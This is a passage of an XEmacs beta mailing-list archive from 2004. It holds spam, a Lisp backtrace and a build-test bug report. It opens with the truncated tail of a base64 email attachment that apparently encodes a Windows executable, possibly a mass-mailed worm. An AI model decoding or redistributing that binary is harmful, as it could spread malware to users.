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 0oQBPR+jyLeFPOEEFmUWlwbPY0mCeVJXEBF8qrDtf1xFeeh3jgGvAKNjqzTyjHIR9st5GLGF XFKHtmgRCbuF+JApafNdAjkcRvNNvmNyyMRBd8cLYprL2gDerZrpvK6tN3B19CUGyQTT2lST /0BnTiRqkB36zcClde8/3P9OIjU8j+Lmf6HbKFXTAjrjQOyZMMkhxn5Pv7z6mKRSPsfGf/9S TGEM5SFpBveLpzSNsv42znXHFgKux8o7Y988wJpP7ALynwERegh1b3VveA4efgyMwXhFdbVC lybCg1abyU9fUUZtmSONnTMYqZnQjCOc6UsSISYAeO0YweBPIPwQp8qvC0A4Iw6qEAjBiWYc F9/7dSZKfA4sA7ic8vdXZRtjhfqb+/QlSSdeiFtZ638dhZpslnxrrOyWCkQC9zv5ThE1c+hq 9gjgnzjc1aqhTcNgOo4dPSKRHGSEK1bixnOSMwNr2we84tNGyphKUZekD4uOEwYY0NJ75CnO tudCWdCoGNDFAKx6ySH9tODWM0upDR0qepLdNbId4nRLjwAAAQACACAgEAABAAQA6AIAAAEA KAAAACAAAABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAMz//wBoV1gAAAAAAICA gAD///8AwMDAAP8AAAAA//8AvwAAAAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiIRIi IiIiIiIiIiIiIiIiIiE1VVVVVVVVVVVVVSUiIiIjRERERERERERERERSUiIiI0RERERERFVU REVVUlIiIiNEiIiIREmZRESZlFJSIiIjRERERERElURESVRSUiIiI0SIiIiIRElVVVlUUlIi IiNEREREREREmZmZVFJSIiIjRIiIiIiIRElUSVRSUiIiI0RERERERERElUlUUlIiIiNEiIiI iIiIRElZVFJSIiIjREREREREREREmVRSUiIiI0SIiIiIiIiIRElEUlIiIiNERERERERERERE RFJSIiIjRIiIiIiIiIiIiERSUiIiI0REREREREREREREUlIiIiNEiIiIiIiIiIiIRFJSIiIj RERERERERERERERSUiIiI0QiIiIiRIiIiIhEUlIiIiNEOZJEQkRERERERFJSIiIjRDIiIiJE iIiIiERSUiIiI0Q0QndyREREREREUlIiIiNEMiJ3ckSIiIiIRFJSIiIjRDRCd3JERERERERS UiIiI0Q0QmZiREREREREUlIiIiNENEJmYkRERERERFJSIiIjRDMyIiJERERERERSUiIiI0RE REREREREREREUlIiIiNCRCRCRCRCRCRCRDJSIiIjQkQkQkQkQkQkQkQyUiIiIiQzQzQzQzQz QzQzQyIiIiIiIiIiIiIiIiIiIiIiIuAAAA/gAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH 4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AA AAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB/gAAA//////oRzoMEABacD9QwPA BcM4niYooxADwfgQJf9/hwDDi0QkVQQS6VXs7FEHU1ZXM/8xiX381BUcYCAoi/BoyMA3D7dF CFBkViYYIdhTkRUUMlAOECE7x4mKPHQqFhEMDVdogKzAagLxsBIRQP91bAyKNAiIg/j7v1QB dQQzwOtB0Ns7A/d2GOhh/xwCmbkbAVLx+YuAjDAUA0M73h5y6I3M/FfhdWwIfXgEii4JEWd6 ObH8D5TYX14pW8myHIGMZAx8VnC+YAQMV42FnG/zoqZQamApFSysDT0oDYgs4PtOjNcUvEb3 AIB9/lyLNSTFPb/gReF0CiIlVwXWIQpo0LAvHYC93IlcoUI8ICH+NeGhORA0YTAJamXoMrv+ EFmTP70Kg1COyiaRIEGwBq9yRAhq2wUoxEaj5B/IFjyJPbcjLXRTFDTobEV2dSLGAxU4NXxQ UVoSCXVYloUSwHQFVE0TRhUjNBEUdRkPagHnMEgSAvTQkDEwwhAAtDgwQDKQCXQkEENVJ2yX zo5pz20KYQifdo9lIO9F727vY+9y73nscCtl/GTPJlftbyObTEQN1i/lFhTNMGJKnwpT2WtZ TrMnXC7zQ/NadjOoMXAq/8OFPDVkpy64Uw7KRoGfZ5loFXP5QlSRDoRrGQN1+GVy9m8AbmZp Zzl4LmRxbOEQQklOGEFSWRBGVgNQcm90ZWObLqN4tjFgXAAA4AHgAuAg4hDOEQQN6Ba+EX2k Dnsog0YiAYwoCRCJIBZJiRTAwp8BFYADbwgUB5ACZhPAAtAQCXBV/wO8CFIHQQIGEwqOQigB dwFscBAon9EECBB5mYP0RPf9JhAihBDi947QAhCckU+9GAjwqwEZ0g+PA4BceMBUB7ADrQRS AzjqrwAAAeAgcEAOS0VSTmBMMzIuZHFs4EbobwZzZUhhbhjtwFpyPml0OkZuFb6/KWELHEEd Vp96R29mUudzUXVyY582Tzqpaw1iYWQWEElpbrZueko9dE2+ZClsXbMiRvFweUlSm+R0RkTA JFfBa293c0TfPuRj+ep5pTmgLRROYW1MhlBy8PJk45xMc2p2H0xpYjtTLz5UUJNDz+5uNA0Y TGG8RXLcXOvFjE11CHjMTgMAAAAAAAAAAAAAAAAA ------=_NextPart_000_001B_01C0CA80.6B015D10-- From xemacs-beta-admin@xemacs.org Thu Apr 29 10:47:45 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3TElAs05388; Thu, 29 Apr 2004 10:47:10 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3TEkuF05097 for xemacs-beta-mailman@xemacs.org; Thu, 29 Apr 2004 10:46:56 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3TEktv05060 for turnbull@tux.org; Thu, 29 Apr 2004 10:46:55 -0400 Received: from fesscrpp1.tellas.gr (fesscrpp1.tellas.gr [62.169.194.2]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3TEkos04944 for ; Thu, 29 Apr 2004 10:46:50 -0400 Received: from canada.com (62.169.217.167) by fesscrpp1.tellas.gr (6.7.010) id 404E0134001BB2A3 for xemacs-beta@xemacs.org; Thu, 29 Apr 2004 17:46:48 +0300 Message-ID: <404E0134001BB2A3@fesscrpp1.tellas.gr> (added by postmaster@fesscrpp1.tellas.gr) From: "A. Espen (for biology and for biomedicine ...)" To: Subject: Dear Colleague,.... (invited paper) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Thu, 29 Apr 2004 07:45:56 -0700 Content-Transfer-Encoding: 8bit X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , *** if you want to reply to this invitation, please, write the word: WSEAS somewhere in the Subject Line of your mailing program. What is the Subect Line in a mailer program? See above. For example in my message, the Subject line writes: "Dear Colleague,.... (invited paper)" *** Dear Colleague, Due to your research interest in Biomedical Science and technology and due to your participation in this forum, we would like to invite you to send an INVITED paper in one of the following Events of WSEAS on Biology and Biomedicine: (a) International WorkShop EDUHEL'04 (Advanced Technologies for EDUcation & HEaLth) 12-15 July 2004, Vouliagmeni, Athens, GREECE (b) Computers for Biomedical Purposes 12-15 July 2004, Vouliagmeni, Athens, GREECE (c) Medical Data Bases 12-15 July 2004, Vouliagmeni, Athens, GREECE Your paper, as an INVITED paper, (and only the invited papers on Biology's and Biomedicine's list) will be published in the WSEAS TRANSACTIONS on BIOLOGY and BIOMEDICINE (after review by 2 independent reviewers). Only the Invited papers (limited number -- the elit of the papers) will be published in the Proceedings + Journals. (Not all the papers -- attention on that, please) The deadline for the invited papers for the WSEAS Conferences in Cancun (Mexico) is: May 31, 2004 Please, note that WSEAS Publications participate now in all major science citation indexes. ISI, ELSEVIER, CSA, AMS. Mathematical Reviews, ELP, NLG, Engineering Index Directory of Published Proceedings, INSPEC (IEE)* Please, send us only research paper(s) (not overview, not surveys) with original results and with excellent english language. Send now your paper only via the WSEAS web site. Some Opinions. Send your feedback to us ---------------------------- I was delighted in reading some of the WSEAS Transaction Proceedings papers. Now I am sure that due to the high quality of reviewers even some of my collegues (academicians) in my country were selected for the proceedings BUT NOT FOR journals that means THE QUALITY AND ONLY QUALITY of the papers is meanningfull. For me that means a lot!!!!! That because in other serious phorumae only if you put your name near the great professors' name, they will publish your paper. This does not happen in WSEAS though!!! I'll tell to other collegues about your seriousity. Best, Prof. C. Calistru Italy ---------------------------- I want to thank you very much for the conference in Udine! It was great! It is pity that I had no opportunity to say thanks and goodbye to you. But I am satisfied with this conference and opportunity to visit Italy, Venice. Thank you very much. Good Success Best regards, Professor Tatiana Baidyk Mexico ---------------------------- ##### HOW TO UNSUBSCRIBE #### If you want to unsubscribe, write an email and insert in the Subject Line (not in the Body of your message) the command REMOVE xemacs-beta@xemacs.org WSEAS, and send this email to: wseas_bio@canada.com If you want to unsubscribe more than one email addresses, write an email and insert in the Subject Line (not in the Body of your message) the command REMOVE [email1, emal2, ...., emailn] WSEAS and send this email to: wseas_bio@canada.com From xemacs-beta-admin@xemacs.org Fri Apr 30 08:15:12 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3UCF3s18497; Fri, 30 Apr 2004 08:15:07 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3UCEBQ17641 for xemacs-beta-mailman@xemacs.org; Fri, 30 Apr 2004 08:14:11 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3UCEAB17604 for turnbull@tux.org; Fri, 30 Apr 2004 08:14:10 -0400 Received: from web40608.mail.yahoo.com (web40608.mail.yahoo.com [66.218.78.145]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i3UCE9s17594 for ; Fri, 30 Apr 2004 08:14:09 -0400 Message-ID: <20040430121408.50459.qmail@web40608.mail.yahoo.com> Received: from [4.67.84.110] by web40608.mail.yahoo.com via HTTP; Fri, 30 Apr 2004 05:14:08 PDT Date: Fri, 30 Apr 2004 05:14:08 -0700 (PDT) From: Tom Cat Subject: fontifying region ...(wrong-type-argument nil) To: xemacs-beta@xemacs.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Hello, On the cygwin xemacs (21.4.15) whenever I try to open a file the minibuffer displays fontifying region ...(wrong-type-argument nil) It eventually disappears, but when I type another character it comes back. I have the Windows native xemacs too on the same machine and don't have this problem. I posted a question in comp.emacs.xemacs and was told to send the backtrace to this list. So here it is: Signaling: (error "Cannot switch buffers in minibuffer window") signal(error ("Cannot switch buffers in minibuffer window")) cerror("Cannot switch buffers in minibuffer window") apply(cerror "Cannot switch buffers in minibuffer window" nil) error("Cannot switch buffers in minibuffer window") switch-to-buffer(#) buffer-menu(nil) call-interactively(buffer-menu) read-minibuffer-internal("Find file: ") byte-code("..." [standard-output standard-input prompt recursion-depth minibuffer-depth t read-minibuffer-internal] 2) read-from-minibuffer("Find file: " "/usr/local/har23/" # nil file-name-history nil "/usr/local/har23/breaktime.bat") read-file-name-2(file-name-history "Find file: " nil "/usr/local/har23/breaktime.bat" nil nil read-file-name-internal) read-file-name-1(file file-name-history "Find file: " nil "/usr/local/har23/breaktime.bat" nil nil read-file-name-internal) read-file-name("Find file: " nil nil nil) call-interactively(find-file) recursive-edit() byte-code("..." [print-escape-newlines print-length debugger-buffer debugger-value standard-output debugger-args pop-to-buffer erase-buffer t 50 backtrace debugger-mode re-search-forward "\n[* ] debug(" 1 debugger-reenable (lambda debug) "Entering:\n" debug backtrace-debug 3 delete-char ?* 0 exit "Return value: " prin1 ?\n ?\ error "Signaling: " "Beginning evaluation of function call form:\n" nil message "" recursive-edit buffer-read-only inhibit-trace] 3) debug(error (error "Not over a window.")) signal(error ("Not over a window.")) cerror("Not over a window.") apply(cerror "Not over a window." nil) error("Not over a window.") mouse-track(#) call-interactively(mouse-track) Thanks, -Tom __________________________________ Do you Yahoo!? Win a $20,000 Career Makeover at Yahoo! HotJobs http://hotjobs.sweepstakes.yahoo.com/careermakeover From xemacs-beta-admin@xemacs.org Fri Apr 30 09:49:05 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3UDn3s07801; Fri, 30 Apr 2004 09:49:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3UDmDA06996 for xemacs-beta-mailman@xemacs.org; Fri, 30 Apr 2004 09:48:13 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3UDmBe06941 for turnbull@tux.org; Fri, 30 Apr 2004 09:48:11 -0400 Received: from syl.extundo.com (syl.extundo.com [212.32.189.101]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3UDmAs06924 for ; Fri, 30 Apr 2004 09:48:10 -0400 Received: from mail020.syd.optusnet.com.au (mail020.syd.optusnet.com.au [211.29.132.131]) by syl.extundo.com (8.12.10/8.12.10) with ESMTP id i3UEMg63000948 for ; Fri, 30 Apr 2004 16:22:44 +0200 Received: from c18072.rivrw2.nsw.optusnet.com.au (c211-30-201-5.rivrw2.nsw.optusnet.com.au [211.30.201.5]) by mail020.syd.optusnet.com.au (8.11.6p2/8.11.6) with ESMTP id i3UDgpH28310 for ; Fri, 30 Apr 2004 23:42:54 +1000 To: xemacs-beta@xemacs.org Subject: The cause of the non-Mule 'make check' failure found. From: Malcolm Purvis X-Face: "t>8w.Nd-q:ml[PuI`{tr%l5Y~,sBj?fR1G.q`GM6)3RK+ll4EOE_1Goun~_6nt.5q,rU]` Q,Kxq+|~kZdSuw`3)>5+_/EcS2MS={U]o-eU!y?G(&'dd~\jX|faymzH|72n4oPxOu8c0M2FroLHaA g%#ZHX\p3dIud>Y'+?-@!Om%Z(D2.Fp<*bS8W2Q'{*"WmzMrRZj%)1=|J#3:[`vYdisIP7:`as5Qku ,M(VrTIClqxpH4Z7,_$?ugTWyMq=DQjGEP*M4*/S{Ym{,uq')-b@i_ECSi;Gq+Z[I=kdtX Date: Fri, 30 Apr 2004 23:42:51 +1000 Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.4 (Reasonable Discussion, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , 'make check' has been failing on 21.5 non-Mule builds on my machines ever since Ben's Mule mega-patch went in and I think that I've finally found the cause. The test that is failing is on line 360 of tests.c: TO_INTERNAL_FORMAT (LISP_OPAQUE, opaque_dos, LISP_BUFFER, Fcurrent_buffer(), intern ("undecided")); It's testing that "\r\n\r\nfoo\r\nbar" gets stored in a buffer as "\n\nfoo\nbar", ie it is testing automatic EOL detection. 